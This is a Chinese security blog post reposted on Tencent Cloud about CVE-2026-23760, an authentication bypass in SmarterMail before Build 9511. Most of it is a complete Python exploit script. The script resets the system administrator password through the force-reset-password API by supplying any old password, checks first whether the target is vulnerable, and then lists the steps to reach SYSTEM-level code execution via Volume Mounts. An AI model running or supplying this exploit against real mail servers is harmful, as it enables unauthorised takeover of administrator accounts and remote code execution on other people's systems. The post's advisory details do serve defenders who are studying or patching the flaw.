首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >CVE-2026-23760|SmarterMail存在身份认证绕过漏洞可实现RCE(POC)

CVE-2026-23760|SmarterMail存在身份认证绕过漏洞可实现RCE(POC)

作者头像
信安百科
发布2026-01-27 14:23:19
发布2026-01-27 14:23:19
2280
举报
文章被收录于专栏:信安百科信安百科

0x00 前言

SmarterMail是一款由SmarterTools公司开发的基于Windows平台的邮件服务器软件,专为中小型企业、教育机构及需要私有化部署的组织设计,提供完整的邮件通信解决方案。其核心定位是作为Microsoft Exchange的轻量级替代方案,无需依赖Active Directory,部署更灵活,运维成本更低。

0x01 漏洞描述

漏洞源于系统管理员(IsSysAdmin=true)的密码重置路径未验证OldPassword字段的有效性,仅依赖用户输入的Username和NewPassword即可直接修改系统管理员账户密码。

远程攻击者通过构造特定HTTP请求即可重置管理员密码,并进一步利用内置的“Volume Mounts”功能实现SYSTEM权限提权,最终实现未授权远程代码执行(RCE)。

0x02 CVE编号

CVE-2026-23760

0x03 影响版本

SmarterMail < Build 9511

0x04 漏洞详情

POC:

https://github.com/g0vguy/WT-2026-0001

代码语言:javascript
复制
#!/usr/bin/env python3
import requests
import json
import sys
import urllib3
import argparse
from typing import Dict, Optional

# Disable SSL warnings for testing
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class SmarterMailExploit:
    def __init__(self, target: str, username: str = "admin", new_password: str = "Hacked123!@#"):
        self.target = target.rstrip('/')
        self.username = username
        self.new_password = new_password
        self.session = requests.Session()
        self.session.verify = False
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
            'Content-Type': 'application/json',
            'Accept': 'application/json'
        })

    def check_vulnerability(self) -> bool:
        test_payload = {
            "IsSysAdmin": "true",
            "OldPassword": "anything",
            "Username": self.username,
            "NewPassword": "Test123!@#",
            "ConfirmPassword": "Test123!@#"
        }

        try:
            url = f"{self.target}/api/v1/auth/force-reset-password"
            response = self.session.post(url, json=test_payload, timeout=10)
            if response.status_code == 200:
                resp_json = response.json()
                if resp_json.get('success') == True:
                    print("[+] Target appears VULNERABLE")
                    return True
                else:
                    if "Invalid input parameters" in resp_json.get('message', ''):
                        print("[-] Target appears PATCHED (post-9511)")
                    else:
                        print(f"[-] Failed: {resp_json.get('message', 'Unknown error')}")
            else:
                print(f"[-] HTTP {response.status_code}: Target may be patched or unreachable")

        except requests.exceptions.RequestException as e:
            print(f"[-] Connection error: {e}")
        except json.JSONDecodeError:
            print(f"[-] Invalid JSON response")

        return False

    def exploit(self) -> bool:
        print(f"[*] Targeting: {self.target}")
        print(f"[*] Admin user: {self.username}")
        print(f"[*] New password: {self.new_password}")

        exploit_payload = {
            "IsSysAdmin": "true",  
            "OldPassword": "anything_can_go_here",
            "Username": self.username,
            "NewPassword": self.new_password,
            "ConfirmPassword": self.new_password
        }

        print(f"\n[*] Sending exploit payload...")
        print(f"    Endpoint: POST /api/v1/auth/force-reset-password")
        print(f"    Payload: {json.dumps(exploit_payload, indent=4)}")

        try:
            url = f"{self.target}/api/v1/auth/force-reset-password"
            response = self.session.post(url, json=exploit_payload, timeout=15)

            print(f"\n[*] Response Status: {response.status_code}")

            if response.status_code == 200:
                resp_json = response.json()
                print(f"[*] Response Body: {json.dumps(resp_json, indent=2)}")

                if resp_json.get('success') == True:
                    print(f"\n[+] EXPLOIT SUCCESSFUL!")
                    print(f"[+] Admin password has been changed")
                    print(f"[+] Username: {self.username}")
                    print(f"[+] New Password: {self.new_password}")
                    print(f"\n[+] Next steps:")
                    print(f"    1. Login to {self.target}/login.aspx")
                    print(f"    2. Navigate to Settings -> Volume Mounts")
                    print(f"    3. Use 'Volume Mount Command' for RCE")
                    return True
                else:
                    print(f"[-] Exploit failed: {resp_json.get('message', 'Unknown')}")
                    if 'debugInfo' in resp_json:
                        debug_lines = resp_json['debugInfo'].split('\\r\\n')
                        print(f"[-] Debug trail: {' -> '.join([d for d in debug_lines if d])}")
            else:
                print(f"[-] Server returned HTTP {response.status_code}")
                if response.text:
                    print(f"[-] Response: {response.text[:500]}")

        except requests.exceptions.RequestException as e:
            print(f"[-] Request failed: {e}")
        except json.JSONDecodeError as e:
            print(f"[-] Failed to parse response: {e}")
            if response.text:
                print(f"[-] Raw response: {response.text[:500]}")

        return False

    def verify_login(self) -> bool:
        print(f"\n[*] Attempting to verify credentials...")


        print(f"[*] Manual verification required:")
        print(f"    1. Visit {self.target}/login.aspx")
        print(f"    2. Username: {self.username}")
        print(f"    3. Password: {self.new_password}")

        return True

def main():
    parser = argparse.ArgumentParser(description='SmarterMail WT-2026-0001 Authentication Bypass Exploit')
    parser.add_argument('target', help='Target URL (e.g., https://mail.example.com:9998)')
    parser.add_argument('-u', '--username', default='admin', help='Admin username (default: admin)')
    parser.add_argument('-p', '--password', default='Hacked123!@#', help='New password to set')
    parser.add_argument('-c', '--check-only', action='store_true', help='Only check if vulnerable')

    args = parser.parse_args()

    print("""
    ███████╗███╗   ███╗ █████╗ ██╗███╗   ██╗███████╗██████╗ 
    ██╔════╝████╗ ████║██╔══██╗██║████╗  ██║██╔════╝██╔══██╗
    ███████╗██╔████╔██║███████║██║██╔██╗ ██║█████╗  ██████╔╝
    ╚════██║██║╚██╔╝██║██╔══██║██║██║╚██╗██║██╔══╝  ██╔══██╗
    ███████║██║ ╚═╝ ██║██║  ██║██║██║ ╚████║███████╗██║  ██║
    ╚══════╝╚═╝     ╚═╝╚═╝  ╚═╝╚═╝╚═╝  ╚═══╝╚══════╝╚═╝  ╚═╝

    SmarterMail WT-2026-0001 Auth Bypass Exploit - S 1 D E R

    """)

    exploit = SmarterMailExploit(args.target, args.username, args.password)

    if args.check_only:
        print(f"[*] Checking vulnerability status...")
        exploit.check_vulnerability()
    else:
        if exploit.check_vulnerability():
            print(f"\n[*] Proceeding with exploitation...")
            if exploit.exploit():
                exploit.verify_login()
        else:
            print(f"\n[-] Target does not appear vulnerable. Exploitation aborted.")

if __name__ == "__main__":
    main()

0x05 参考链接

https://www.smartertools.com/smartermail/release-notes/current

https://labs.watchtowr.com/attackers-with-decompilers-strike-again-smartertools-smartermail-wt-2026-0001-auth-bypass/

推荐阅读:

CVE-2025-52691|SmarterMail 未授权文件上传漏洞(POC)

CVE-2025-54068|Livewire组件远程代码执行漏洞(POC)

CVE-2025-68645|Zimbra本地文件包含漏洞(POC)

Ps:国内外安全热点分享,欢迎大家分享、转载,请保证文章的完整性。文章中出现敏感信息和侵权内容,请联系作者删除信息。信息安全任重道远,感谢您的支持

本公众号的文章及工具仅提供学习参考,由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害,均由使用者本人负责,本公众号及文章作者不为此承担任何责任。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2026-01-25,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 信安百科 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档